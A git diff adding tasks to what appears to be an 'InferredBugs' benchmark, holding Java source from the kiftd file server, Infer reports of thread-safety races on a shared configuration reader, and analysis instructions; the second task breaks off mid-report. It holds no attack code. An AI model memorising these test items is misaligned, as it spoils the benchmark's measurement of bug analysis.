+					writeRangeFileStream(request, response, fo, f.getFileName(), CONTENT_TYPE);
+					// 日志记录（仅针对一次下载）
+					if (request.getHeader("Range") == null) {
+						this.lu.writeDownloadFileEvent(request, f);
+					}
+					return;
+				}
+			}
+		}
+		try {
+			//  处理无法下载的资源
+			response.sendError(404);
+		} catch (IOException e) {
+			// TODO 自动生成的 catch 块
+
+		}
+	}
+
+	// 重命名文件
+	public String doRenameFile(final HttpServletRequest request) {
+		final String fileId = request.getParameter("fileId");
+		final String newFileName = request.getParameter("newFileName");
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		// 权限检查
+		if (!ConfigureReader.instance().authorized(account, AccountAuth.RENAME_FILE_OR_FOLDER)) {
+			return NO_AUTHORIZED;
+		}
+		// 参数检查
+		if (fileId == null || fileId.length() <= 0 || newFileName == null || newFileName.length() <= 0) {
+			return ERROR_PARAMETER;
+		}
+		if (!TextFormateUtil.instance().matcherFileName(newFileName) || newFileName.indexOf(".") == 0) {
+			return ERROR_PARAMETER;
+		}
+		final Node file = this.fm.queryById(fileId);
+		if (file == null) {
+			return ERROR_PARAMETER;
+		}
+		if (!file.getFileName().equals(newFileName)) {
+			// 不允许重名
+			if (fm.queryBySomeFolder(fileId).parallelStream().anyMatch((e) -> e.getFileName().equals(newFileName))) {
+				return "nameOccupied";
+			}
+			// 更新文件名
+			final Map<String, String> map = new HashMap<String, String>();
+			map.put("fileId", fileId);
+			map.put("newFileName", newFileName);
+			if (this.fm.updateFileNameById(map) == 0) {
+				// 并写入日志
+				return "cannotRenameFile";
+			}
+		}
+		this.lu.writeRenameFileEvent(request, file, newFileName);
+		return "renameFileSuccess";
+	}
+
+	// 删除所有选中文件和文件夹
+	public String deleteCheckedFiles(final HttpServletRequest request) {
+		final String strIdList = request.getParameter("strIdList");
+		final String strFidList = request.getParameter("strFidList");
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		// 权限检查
+		if (ConfigureReader.instance().authorized(account, AccountAuth.DELETE_FILE_OR_FOLDER)) {
+			try {
+				// 得到要删除的文件ID列表
+				final List<String> idList = gson.fromJson(strIdList, new TypeToken<List<String>>() {
+				}.getType());
+				// 对每个要删除的文件节点进行确认并删除
+				for (final String fileId : idList) {
+					if (fileId == null || fileId.length() <= 0) {
+						return ERROR_PARAMETER;
+					}
+					final Node file = this.fm.queryById(fileId);
+					if (file == null) {
+						return "deleteFileSuccess";
+					}
+					// 删除文件块
+					if (!this.fbu.deleteFromFileBlocks(file)) {
+						return "cannotDeleteFile";
+					}
+					// 删除文件节点
+					if (this.fm.deleteById(fileId) <= 0) {
+						return "cannotDeleteFile";
+					}
+					// 日志记录
+					this.lu.writeDeleteFileEvent(request, file);
+				}
+				// 删完选中的文件，再去删文件夹
+				final List<String> fidList = gson.fromJson(strFidList, new TypeToken<List<String>>() {
+				}.getType());
+				for (String fid : fidList) {
+					Folder folder = flm.queryById(fid);
+					final List<Folder> l = this.fu.getParentList(fid);
+					if (fu.deleteAllChildFolder(fid) <= 0) {
+						return "cannotDeleteFile";
+					} else {
+						this.lu.writeDeleteFolderEvent(request, folder, l);
+					}
+				}
+				return "deleteFileSuccess";
+			} catch (Exception e) {
+				return ERROR_PARAMETER;
+			}
+		}
+		return NO_AUTHORIZED;
+	}
+
+	// 打包下载功能：前置——压缩要打包下载的文件
+	public String downloadCheckedFiles(final HttpServletRequest request) {
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		// 权限检查
+		if (ConfigureReader.instance().authorized(account, AccountAuth.DOWNLOAD_FILES)) {
+			final String strIdList = request.getParameter("strIdList");
+			final String strFidList = request.getParameter("strFidList");
+			try {
+				// 获得要打包下载的文件ID
+				final List<String> idList = gson.fromJson(strIdList, new TypeToken<List<String>>() {
+				}.getType());
+				final List<String> fidList = gson.fromJson(strFidList, new TypeToken<List<String>>() {
+				}.getType());
+				// 创建ZIP压缩包并将全部文件压缩
+				if (idList.size() > 0 || fidList.size() > 0) {
+					final String zipname = this.fbu.createZip(idList, fidList, account);
+					this.lu.writeDownloadCheckedFileEvent(request, idList);
+					// 返回生成的压缩包路径
+					return zipname;
+				}
+			} catch (Exception ex) {
+			}
+		}
+		return "ERROR";
+	}
+
+	// 打包下载功能：执行——下载压缩好的文件
+	public void downloadCheckedFilesZip(final HttpServletRequest request, final HttpServletResponse response)
+			throws Exception {
+		final String zipname = request.getParameter("zipId");
+		if (zipname != null && !zipname.equals("ERROR")) {
+			final String tfPath = ConfigureReader.instance().getTemporaryfilePath();
+			final File zip = new File(tfPath, zipname);
+			String fname = "kiftd_" + ServerTimeUtil.accurateToDay() + "_\u6253\u5305\u4e0b\u8f7d.zip";
+			if (zip.exists()) {
+				writeRangeFileStream(request, response, zip, fname, CONTENT_TYPE);
+				zip.delete();
+			}
+		}
+	}
+
+	public String getPackTime(final HttpServletRequest request) {
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		if (ConfigureReader.instance().authorized(account, AccountAuth.DOWNLOAD_FILES)) {
+			final String strIdList = request.getParameter("strIdList");
+			final String strFidList = request.getParameter("strFidList");
+			try {
+				final List<String> idList = gson.fromJson(strIdList, new TypeToken<List<String>>() {
+				}.getType());
+				final List<String> fidList = gson.fromJson(strFidList, new TypeToken<List<String>>() {
+				}.getType());
+				for (String fid : fidList) {
+					countFolderFilesId(account, fid, fidList);
+				}
+				long packTime = 0L;
+				for (final String fid : idList) {
+					final Node n = this.fm.queryById(fid);
+					final File f = new File(ConfigureReader.instance().getFileBlockPath(), n.getFilePath());
+					if (f.exists()) {
+						packTime += f.length() / 25000000L;
+					}
+				}
+				if (packTime < 4L) {
+					return "\u9a6c\u4e0a\u5b8c\u6210";
+				}
+				if (packTime >= 4L && packTime < 10L) {
+					return "\u5927\u7ea610\u79d2";
+				}
+				if (packTime >= 10L && packTime < 35L) {
+					return "\u4e0d\u5230\u534a\u5206\u949f";
+				}
+				if (packTime >= 35L && packTime < 65L) {
+					return "\u5927\u7ea61\u5206\u949f";
+				}
+				if (packTime >= 65L) {
+					return "\u8d85\u8fc7" + packTime / 60L
+							+ "\u5206\u949f\uff0c\u8017\u65f6\u8f83\u957f\uff0c\u5efa\u8bae\u76f4\u63a5\u4e0b\u8f7d";
+				}
+			} catch (Exception ex) {
+			}
+		}
+		return "0";
+	}
+
+	// 用于迭代获得全部文件夹内的文件ID（方便预测耗时）
+	private void countFolderFilesId(String account, String fid, List<String> idList) {
+		Folder f = flm.queryById(fid);
+		if (ConfigureReader.instance().accessFolder(f, account)) {
+			idList.addAll(Arrays.asList(
+					fm.queryByParentFolderId(fid).parallelStream().map((e) -> e.getFileId()).toArray(String[]::new)));
+			List<Folder> cFolders = flm.queryByParentId(fid);
+			for (Folder cFolder : cFolders) {
+				countFolderFilesId(account, cFolder.getFolderId(), idList);
+			}
+		}
+	}
+
+	@Override
+	public String doMoveFiles(HttpServletRequest request) {
+		// TODO 自动生成的方法存根
+		final String strIdList = request.getParameter("strIdList");
+		final String strFidList = request.getParameter("strFidList");
+		final String strOptMap = request.getParameter("strOptMap");
+		final String locationpath = request.getParameter("locationpath");
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		if (ConfigureReader.instance().authorized(account, AccountAuth.MOVE_FILES)) {
+			try {
+				final List<String> idList = gson.fromJson(strIdList, new TypeToken<List<String>>() {
+				}.getType());
+				final Map<String, String> optMap = gson.fromJson(strOptMap, new TypeToken<Map<String, String>>() {
+				}.getType());
+				for (final String id : idList) {
+					if (id == null || id.length() <= 0) {
+						return ERROR_PARAMETER;
+					}
+					final Node node = this.fm.queryById(id);
+					if (node == null) {
+						return ERROR_PARAMETER;
+					}
+					if (node.getFileParentFolder().equals(locationpath)) {
+						break;
+					}
+					if (fm.queryByParentFolderId(locationpath).parallelStream()
+							.anyMatch((e) -> e.getFileName().equals(node.getFileName()))) {
+						if (optMap.get(id) == null) {
+							return ERROR_PARAMETER;
+						}
+						switch (optMap.get(id)) {
+						case "cover":
+							if (!ConfigureReader.instance().authorized(account, AccountAuth.DELETE_FILE_OR_FOLDER)) {
+								return NO_AUTHORIZED;
+							}
+							Node n = fm.queryByParentFolderId(locationpath).parallelStream()
+									.filter((e) -> e.getFileName().equals(node.getFileName())).findFirst().get();
+							if (fm.deleteById(n.getFileId()) > 0) {
+								Map<String, String> map = new HashMap<>();
+								map.put("fileId", node.getFileId());
+								map.put("locationpath", locationpath);
+								if (this.fm.moveById(map) <= 0) {
+									return "cannotMoveFiles";
+								}
+							} else {
+								return "cannotMoveFiles";
+							}
+							this.lu.writeMoveFileEvent(request, node);
+							break;
+						case "both":
+							node.setFileName(FileNodeUtil.getNewNodeName(node.getFileName(),
+									fm.queryByParentFolderId(locationpath)));
+							if (fm.update(node) <= 0) {
+								return "cannotMoveFiles";
+							}
+							Map<String, String> map = new HashMap<>();
+							map.put("fileId", node.getFileId());
+							map.put("locationpath", locationpath);
+							if (this.fm.moveById(map) <= 0) {
+								return "cannotMoveFiles";
+							}
+							this.lu.writeMoveFileEvent(request, node);
+							break;
+						case "skip":
+							break;
+						default:
+							return ERROR_PARAMETER;
+						}
+					} else {
+						Map<String, String> map = new HashMap<>();
+						map.put("fileId", node.getFileId());
+						map.put("locationpath", locationpath);
+						if (this.fm.moveById(map) <= 0) {
+							return "cannotMoveFiles";
+						}
+						this.lu.writeMoveFileEvent(request, node);
+					}
+				}
+				final List<String> fidList = gson.fromJson(strFidList, new TypeToken<List<String>>() {
+				}.getType());
+				for (final String fid : fidList) {
+					if (fid == null || fid.length() <= 0) {
+						return ERROR_PARAMETER;
+					}
+					final Folder folder = this.flm.queryById(fid);
+					if (folder == null) {
+						return ERROR_PARAMETER;
+					}
+					if (folder.getFolderParent().equals(locationpath)) {
+						break;
+					}
+					if (fid.equals(locationpath) || fu.getParentList(locationpath).parallelStream()
+							.anyMatch((e) -> e.getFolderId().equals(folder.getFolderId()))) {
+						return ERROR_PARAMETER;
+					}
+					if (flm.queryByParentId(locationpath).parallelStream()
+							.anyMatch((e) -> e.getFolderName().equals(folder.getFolderName()))) {
+						if (optMap.get(fid) == null) {
+							return ERROR_PARAMETER;
+						}
+						switch (optMap.get(fid)) {
+						case "cover":
+							if (!ConfigureReader.instance().authorized(account, AccountAuth.DELETE_FILE_OR_FOLDER)) {
+								return NO_AUTHORIZED;
+							}
+							Folder f = flm.queryByParentId(locationpath).parallelStream()
+									.filter((e) -> e.getFolderName().equals(folder.getFolderName())).findFirst().get();
+							Map<String, String> map = new HashMap<>();
+							map.put("folderId", folder.getFolderId());
+							map.put("locationpath", locationpath);
+							if (this.flm.moveById(map) > 0) {
+								if (fu.deleteAllChildFolder(f.getFolderId()) > 0) {
+									this.lu.writeMoveFileEvent(request, folder);
+									break;
+								}
+							}
+							return "cannotMoveFiles";
+						case "both":
+							Map<String, String> map3 = new HashMap<>();
+							map3.put("folderId", folder.getFolderId());
+							map3.put("locationpath", locationpath);
+							if (this.flm.moveById(map3) > 0) {
+								Map<String, String> map2 = new HashMap<String, String>();
+								map2.put("folderId", folder.getFolderId());
+								map2.put("newName", FileNodeUtil.getNewFolderName(folder.getFolderName(),
+										flm.queryByParentId(locationpath)));
+								if (flm.updateFolderNameById(map2) <= 0) {
+									return "cannotMoveFiles";
+								}
+								this.lu.writeMoveFileEvent(request, folder);
+								break;
+							}
+							this.lu.writeMoveFileEvent(request, folder);
+							break;
+						case "skip":
+							break;
+						default:
+							return ERROR_PARAMETER;
+						}
+					} else {
+						Map<String, String> map = new HashMap<>();
+						map.put("folderId", folder.getFolderId());
+						map.put("locationpath", locationpath);
+						if (this.flm.moveById(map) > 0) {
+							this.lu.writeMoveFileEvent(request, folder);
+						} else {
+							return "cannotMoveFiles";
+						}
+					}
+				}
+				return "moveFilesSuccess";
+			} catch (Exception e) {
+				return ERROR_PARAMETER;
+			}
+		}
+		return NO_AUTHORIZED;
+	}
+
+	@Override
+	public String confirmMoveFiles(HttpServletRequest request) {
+		// TODO 自动生成的方法存根
+		final String strIdList = request.getParameter("strIdList");
+		final String strFidList = request.getParameter("strFidList");
+		final String locationpath = request.getParameter("locationpath");
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		if (ConfigureReader.instance().authorized(account, AccountAuth.MOVE_FILES)) {
+			try {
+				final List<String> idList = gson.fromJson(strIdList, new TypeToken<List<String>>() {
+				}.getType());
+				final List<String> fidList = gson.fromJson(strFidList, new TypeToken<List<String>>() {
+				}.getType());
+				List<Node> repeNodes = new ArrayList<>();
+				List<Folder> repeFolders = new ArrayList<>();
+				for (final String fileId : idList) {
+					if (fileId == null || fileId.length() <= 0) {
+						return ERROR_PARAMETER;
+					}
+					final Node node = this.fm.queryById(fileId);
+					if (node == null) {
+						return ERROR_PARAMETER;
+					}
+					if (node.getFileParentFolder().equals(locationpath)) {
+						break;
+					}
+					if (fm.queryByParentFolderId(locationpath).parallelStream()
+							.anyMatch((e) -> e.getFileName().equals(node.getFileName()))) {
+						repeNodes.add(node);
+					}
+				}
+				for (final String folderId : fidList) {
+					if (folderId == null || folderId.length() <= 0) {
+						return ERROR_PARAMETER;
+					}
+					final Folder folder = this.flm.queryById(folderId);
+					if (folder == null) {
+						return ERROR_PARAMETER;
+					}
+					if (folder.getFolderParent().equals(locationpath)) {
+						break;
+					}
+					if (folderId.equals(locationpath) || fu.getParentList(locationpath).parallelStream()
+							.anyMatch((e) -> e.getFolderId().equals(folder.getFolderId()))) {
+						return "CANT_MOVE_TO_INSIDE:" + folder.getFolderName();
+					}
+					if (flm.queryByParentId(locationpath).parallelStream()
+							.anyMatch((e) -> e.getFolderName().equals(folder.getFolderName()))) {
+						repeFolders.add(folder);
+					}
+				}
+				if (repeNodes.size() > 0 || repeFolders.size() > 0) {
+					Map<String, List<? extends Object>> repeMap = new HashMap<>();
+					repeMap.put("repeFolders", repeFolders);
+					repeMap.put("repeNodes", repeNodes);
+					return "duplicationFileName:" + gson.toJson(repeMap);
+				}
+				return "confirmMoveFiles";
+			} catch (Exception e) {
+				return ERROR_PARAMETER;
+			}
+		}
+		return NO_AUTHORIZED;
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `kohgylw.kiftd.server.service.impl.FileServiceImpl.doUploadFile` indirectly reads without synchronization from `util.ConfigureReader.kohgylw.kiftd.server.util.ConfigureReader.cr`. Potentially races with write in method `FileServiceImpl.downloadCheckedFiles(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String FileServiceImpl.doUploadFile(HttpServletRequest,HttpServletResponse,MultipartFile)
+
+### Procedure Id:
+kohgylw.kiftd.server.service.impl.FileServiceImpl.doUploadFile(javax.servlet.http.HttpServletRequest.84e15f0447d8c2b714da5b9089993650
+
+### File:
+src/main/java/kohgylw/kiftd/server/service/impl/FileServiceImpl.java
+
+### Key:
+FileServiceImpl.java|doUploadFile|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+ff72db639ae6ccf4d5e90f613e52d563
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3544/instruction.md b/inferredbugs-3544/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3b6a80db6c87953ae5ec994608c5ef0b3a8f4564
--- /dev/null
+++ b/inferredbugs-3544/instruction.md
@@ -0,0 +1,509 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** kiftd-source
+**Bug ID:** 29
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package kohgylw.kiftd.server.service.impl;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.OutputStreamWriter;
+import java.io.PrintWriter;
+import java.io.RandomAccessFile;
+import java.util.Date;
+
+import javax.annotation.Resource;
+import javax.servlet.ServletOutputStream;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+import org.springframework.stereotype.Service;
+
+import kohgylw.kiftd.printer.Printer;
+import kohgylw.kiftd.server.enumeration.AccountAuth;
+import kohgylw.kiftd.server.enumeration.PowerPointType;
+import kohgylw.kiftd.server.mapper.FolderMapper;
+import kohgylw.kiftd.server.mapper.NodeMapper;
+import kohgylw.kiftd.server.model.Node;
+import kohgylw.kiftd.server.pojo.VideoTranscodeThread;
+import kohgylw.kiftd.server.service.ResourceService;
+import kohgylw.kiftd.server.util.ConfigureReader;
+import kohgylw.kiftd.server.util.ContentTypeMap;
+import kohgylw.kiftd.server.util.Docx2PDFUtil;
+import kohgylw.kiftd.server.util.FileBlockUtil;
+import kohgylw.kiftd.server.util.FolderUtil;
+import kohgylw.kiftd.server.util.LogUtil;
+import kohgylw.kiftd.server.util.NoticeUtil;
+import kohgylw.kiftd.server.util.PowerPoint2PDFUtil;
+import kohgylw.kiftd.server.util.Txt2PDFUtil;
+import kohgylw.kiftd.server.util.TxtCharsetGetter;
+import kohgylw.kiftd.server.util.VideoTranscodeUtil;
+
+//资源服务类，所有处理非下载流请求的工作均在此完成
+@Service
+public class ResourceServiceImpl implements ResourceService {
+
+	@Resource
+	private NodeMapper nm;
+	@Resource
+	private FileBlockUtil fbu;
+	@Resource
+	private LogUtil lu;
+	@Resource
+	private Docx2PDFUtil d2pu;
+	@Resource
+	private Txt2PDFUtil t2pu;
+	@Resource
+	private VideoTranscodeUtil vtu;
+	@Resource
+	private PowerPoint2PDFUtil p2pu;
+	@Resource
+	private FolderUtil fu;
+	@Resource
+	private FolderMapper fm;
+	@Resource
+	private TxtCharsetGetter tcg;
+	@Resource
+	private NoticeUtil nu;
+	@Resource
+	private ContentTypeMap ctm;
+
+	// 提供资源的输出流，原理与下载相同，但是个别细节有区别
+	@Override
+	public void getResource(HttpServletRequest request, HttpServletResponse response) {
+		// TODO 自动生成的方法存根
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		String fid = request.getParameter("fid");
+		if (fid != null) {
+			Node n = nm.queryById(fid);
+			if (n != null) {
+				if (ConfigureReader.instance().authorized(account, AccountAuth.DOWNLOAD_FILES,
+						fu.getAllFoldersId(n.getFileParentFolder()))
+						&& ConfigureReader.instance().accessFolder(fm.queryById(n.getFileParentFolder()), account)) {
+					File file = fbu.getFileFromBlocks(n);
+					if (file != null && file.isFile()) {
+						String suffix = "";
+						if (n.getFileName().indexOf(".") >= 0) {
+							suffix = n.getFileName().substring(n.getFileName().lastIndexOf(".")).trim().toLowerCase();
+						}
+						String contentType = ctm.getContentType(suffix);
+						switch (suffix) {
+						case ".mp4":
+						case ".webm":
+						case ".mov":
+						case ".avi":
+						case ".wmv":
+						case ".mkv":
+						case ".flv":
+							if (ConfigureReader.instance().isEnableFFMPEG()) {
+								contentType = "video/mp4";
+								synchronized (VideoTranscodeUtil.videoTranscodeThreads) {
+									VideoTranscodeThread vtt = VideoTranscodeUtil.videoTranscodeThreads.get(fid);
+									if (vtt != null) {// 针对需要转码的视频（在转码列表中存在）
+										File f = new File(ConfigureReader.instance().getTemporaryfilePath(),
+												vtt.getOutputFileName());
+										if (f.isFile() && vtt.getProgress().equals("FIN")) {// 判断是否转码成功
+											file = f;// 成功，则播放它
+										} else {
+											try {
+												response.sendError(500);// 否则，返回处理失败
+											} catch (IOException e) {
+											}
+											return;
+										}
+									}
+								}
+							}
+							break;
+						default:
+							break;
+						}
+						sendResource(file, n.getFileName(), contentType, request, response);
+						if (request.getHeader("Range") == null) {
+							this.lu.writeDownloadFileEvent(request, n);
+						}
+						return;
+					}
+				}
+			}
+		}
+		try {
+			//  处理无法下载的资源
+			response.sendError(404);
+		} catch (IOException e) {
+			// TODO 自动生成的 catch 块
+		}
+	}
+
+	// 使用各个浏览器（主要是Safari）兼容的通用格式发送资源至请求来源，类似于断点续传下载功能
+	private void sendResource(File resource, String fname, String contentType, HttpServletRequest request,
+			HttpServletResponse response) {
+		try (RandomAccessFile randomFile = new RandomAccessFile(resource, "r")) {
+			long contentLength = randomFile.length();
+			String range = request.getHeader("Range");
+			long start = 0, end = 0;
+			if (range != null && range.startsWith("bytes=")) {
+				String[] values = range.split("=")[1].split("-");
+				start = Long.parseLong(values[0]);
+				if (values.length > 1) {
+					end = Long.parseLong(values[1]);
+				}
+			}
+			long requestSize = 0;
+			if (end != 0 && end > start) {
+				requestSize = end - start + 1;
+			} else {
+				requestSize = Long.MAX_VALUE;
+			}
+			byte[] buffer = new byte[ConfigureReader.instance().getBuffSize()];
+			response.setContentType(contentType);
+			response.setHeader("Accept-Ranges", "bytes");
+			response.setHeader("ETag", fname);
+			response.setHeader("Last-Modified", new Date().toString());
+			// 第一次请求只返回content length来让客户端请求多次实际数据
+			if (range == null) {
+				response.setHeader("Content-length", contentLength + "");
+			} else {
+				// 以后的多次以断点续传的方式来返回视频数据
+				response.setStatus(HttpServletResponse.SC_PARTIAL_CONTENT);// 206
+				long requestStart = 0, requestEnd = 0;
+				String[] ranges = range.split("=");
+				if (ranges.length > 1) {
+					String[] rangeDatas = ranges[1].split("-");
+					requestStart = Long.parseLong(rangeDatas[0]);
+					if (rangeDatas.length > 1) {
+						requestEnd = Long.parseLong(rangeDatas[1]);
+					}
+				}
+				long length = 0;
+				if (requestEnd > 0) {
+					length = requestEnd - requestStart + 1;
+					response.setHeader("Content-length", "" + length);
+					response.setHeader("Content-Range",
+							"bytes " + requestStart + "-" + requestEnd + "/" + contentLength);
+				} else {
+					length = contentLength - requestStart;
+					response.setHeader("Content-length", "" + length);
+					response.setHeader("Content-Range",
+							"bytes " + requestStart + "-" + (contentLength - 1) + "/" + contentLength);
+				}
+			}
+			ServletOutputStream out = response.getOutputStream();
+			long needSize = requestSize;
+			randomFile.seek(start);
+			while (needSize > 0) {
+				int len = randomFile.read(buffer);
+				if (needSize < buffer.length) {
+					out.write(buffer, 0, (int) needSize);
+				} else {
+					out.write(buffer, 0, len);
+					if (len < buffer.length) {
+						break;
+					}
+				}
+				needSize -= buffer.length;
+			}
+			out.close();
+		} catch (Exception e) {
+
+		}
+	}
+
+	// 对word的预览实现
+	@Override
+	public void getWordView(String fileId, HttpServletRequest request, HttpServletResponse response) {
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		// 权限检查
+		if (fileId != null) {
+			Node n = nm.queryById(fileId);
+			if (n != null) {
+				if (ConfigureReader.instance().authorized(account, AccountAuth.DOWNLOAD_FILES,
+						fu.getAllFoldersId(n.getFileParentFolder()))
+						&& ConfigureReader.instance().accessFolder(fm.queryById(n.getFileParentFolder()), account)) {
+					File file = fbu.getFileFromBlocks(n);
+					if (file != null && file.isFile()) {
+						// 后缀检查
+						String suffix = "";
+						if (n.getFileName().indexOf(".") >= 0) {
+							suffix = n.getFileName().substring(n.getFileName().lastIndexOf(".")).trim().toLowerCase();
+						}
+						if (".docx".equals(suffix)) {
+							String contentType = "application/octet-stream";
+							response.setContentType(contentType);
+							// 执行转换并写出输出流
+							try {
+								d2pu.convertPdf(new FileInputStream(file), response.getOutputStream());
+								lu.writeDownloadFileEvent(request, n);
+								return;
+							} catch (IOException e) {
+							} catch (Exception e) {
+								Printer.instance.print(e.getMessage());
+								lu.writeException(e);
+							}
+						}
+					}
+				}
+			}
+		}
+		try {
+			response.sendError(500);
+		} catch (Exception e1) {
+		}
+	}
+
+	// 对TXT预览的实现
+	@Override
+	public void getTxtView(String fileId, HttpServletRequest request, HttpServletResponse response) {
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		// 权限检查
+		if (fileId != null) {
+			Node n = nm.queryById(fileId);
+			if (n != null) {
+				if (ConfigureReader.instance().authorized(account, AccountAuth.DOWNLOAD_FILES,
+						fu.getAllFoldersId(n.getFileParentFolder()))
+						&& ConfigureReader.instance().accessFolder(fm.queryById(n.getFileParentFolder()), account)) {
+					File file = fbu.getFileFromBlocks(n);
+					if (file != null && file.isFile()) {
+						// 后缀检查
+						String suffix = "";
+						if (n.getFileName().indexOf(".") >= 0) {
+							suffix = n.getFileName().substring(n.getFileName().lastIndexOf(".")).trim().toLowerCase();
+						}
+						if (".txt".equals(suffix)) {
+							String contentType = "application/octet-stream";
+							response.setContentType(contentType);
+							// 执行转换并写出输出流
+							try {
+								t2pu.convertPdf(file, response.getOutputStream());
+								lu.writeDownloadFileEvent(request, n);
+								return;
+							} catch (Exception e) {
+								Printer.instance.print(e.getMessage());
+								lu.writeException(e);
+							}
+						}
+					}
+				}
+			}
+		}
+		try {
+			response.sendError(500);
+		} catch (Exception e1) {
+		}
+	}
+
+	@Override
+	public String getVideoTranscodeStatus(HttpServletRequest request) {
+		if (ConfigureReader.instance().isEnableFFMPEG()) {
+			String fId = request.getParameter("fileId");
+			if (fId != null) {
+				try {
+					return vtu.getTranscodeProcess(fId);
+				} catch (Exception e) {
+					Printer.instance.print("错误：视频转码功能出现意外错误。详细信息：" + e.getMessage());
+					lu.writeException(e);
+				}
+			}
+		}
+		return "ERROR";
+	}
+
+	// 对PPT预览的实现
+	@Override
+	public void getPPTView(String fileId, HttpServletRequest request, HttpServletResponse response) {
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		// 权限检查
+		if (fileId != null) {
+			Node n = nm.queryById(fileId);
+			if (n != null) {
+				if (ConfigureReader.instance().authorized(account, AccountAuth.DOWNLOAD_FILES,
+						fu.getAllFoldersId(n.getFileParentFolder()))
+						&& ConfigureReader.instance().accessFolder(fm.queryById(n.getFileParentFolder()), account)) {
+					File file = fbu.getFileFromBlocks(n);
+					if (file != null && file.isFile()) {
+						// 后缀检查
+						String suffix = "";
+						if (n.getFileName().indexOf(".") >= 0) {
+							suffix = n.getFileName().substring(n.getFileName().lastIndexOf(".")).trim().toLowerCase();
+						}
+						switch (suffix) {
+						case ".ppt":
+						case ".pptx":
+							String contentType = "application/octet-stream";
+							response.setContentType(contentType);
+							// 执行转换并写出输出流
+							try {
+								p2pu.convertPdf(new FileInputStream(file), response.getOutputStream(),
+										".ppt".equals(suffix) ? PowerPointType.PPT : PowerPointType.PPTX);
+								lu.writeDownloadFileEvent(request, n);
+								return;
+							} catch (IOException e) {
+							} catch (Exception e) {
+								Printer.instance.print(e.getMessage());
+								lu.writeException(e);
+							}
+							break;
+						default:
+							break;
+						}
+					}
+				}
+			}
+		}
+		try {
+			response.sendError(500);
+		} catch (Exception e1) {
+		}
+	}
+
+	@Override
+	public void getLRContextByUTF8(String fileId, HttpServletRequest request, HttpServletResponse response) {
+		final String account = (String) request.getSession().getAttribute("ACCOUNT");
+		// 权限检查
+		if (fileId != null) {
+			Node n = nm.queryById(fileId);
+			if (n != null) {
+				if (ConfigureReader.instance().authorized(account, AccountAuth.DOWNLOAD_FILES,
+						fu.getAllFoldersId(n.getFileParentFolder()))
+						&& ConfigureReader.instance().accessFolder(fm.queryById(n.getFileParentFolder()), account)) {
+					File file = fbu.getFileFromBlocks(n);
+					if (file != null && file.isFile()) {
+						// 后缀检查
+						String suffix = "";
+						if (n.getFileName().indexOf(".") >= 0) {
+							suffix = n.getFileName().substring(n.getFileName().lastIndexOf(".")).trim().toLowerCase();
+						}
+						if (".lrc".equals(suffix)) {
+							String contentType = "text/plain";
+							response.setContentType(contentType);
+							// 执行转换并写出输出流
+							try {
+								String inputFileEncode = tcg.getTxtCharset(new FileInputStream(file));
+								BufferedReader bufferedReader = new BufferedReader(
+										new InputStreamReader(new FileInputStream(file), inputFileEncode));
+								BufferedWriter bufferedWriter = new BufferedWriter(
+										new OutputStreamWriter(response.getOutputStream(), "UTF-8"));
+								String line;
+								while ((line = bufferedReader.readLine()) != null) {
+									bufferedWriter.write(line);
+									bufferedWriter.newLine();
+								}
+								bufferedWriter.close();
+								bufferedReader.close();
+								return;
+							} catch (IOException e) {
+							} catch (Exception e) {
+								Printer.instance.print(e.getMessage());
+								lu.writeException(e);
+							}
+
+						}
+					}
+				}
+			}
+		}
+		try {
+			response.sendError(500);
+		} catch (Exception e1) {
+		}
+	}
+
+	@Override
+	public void getNoticeContext(HttpServletRequest request, HttpServletResponse response) {
+		File noticeHTML = new File(ConfigureReader.instance().getTemporaryfilePath(), NoticeUtil.NOTICE_OUTPUT_NAME);
+		String contentType = "text/html";
+		if (noticeHTML.isFile() && noticeHTML.canRead()) {
+			sendResource(noticeHTML, NoticeUtil.NOTICE_FILE_NAME, contentType, request, response);
+		} else {
+			try {
+				response.setContentType(contentType);
+				response.setCharacterEncoding("UTF-8");
+				PrintWriter writer = response.getWriter();
+				writer.write("<p class=\"lead\">暂无新公告。</p>");
+				writer.flush();
+				writer.close();
+			} catch (IOException e) {
+			}
+		}
+	}
+
+	@Override
+	public String getNoticeMD5() {
+		return nu.getMd5();
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
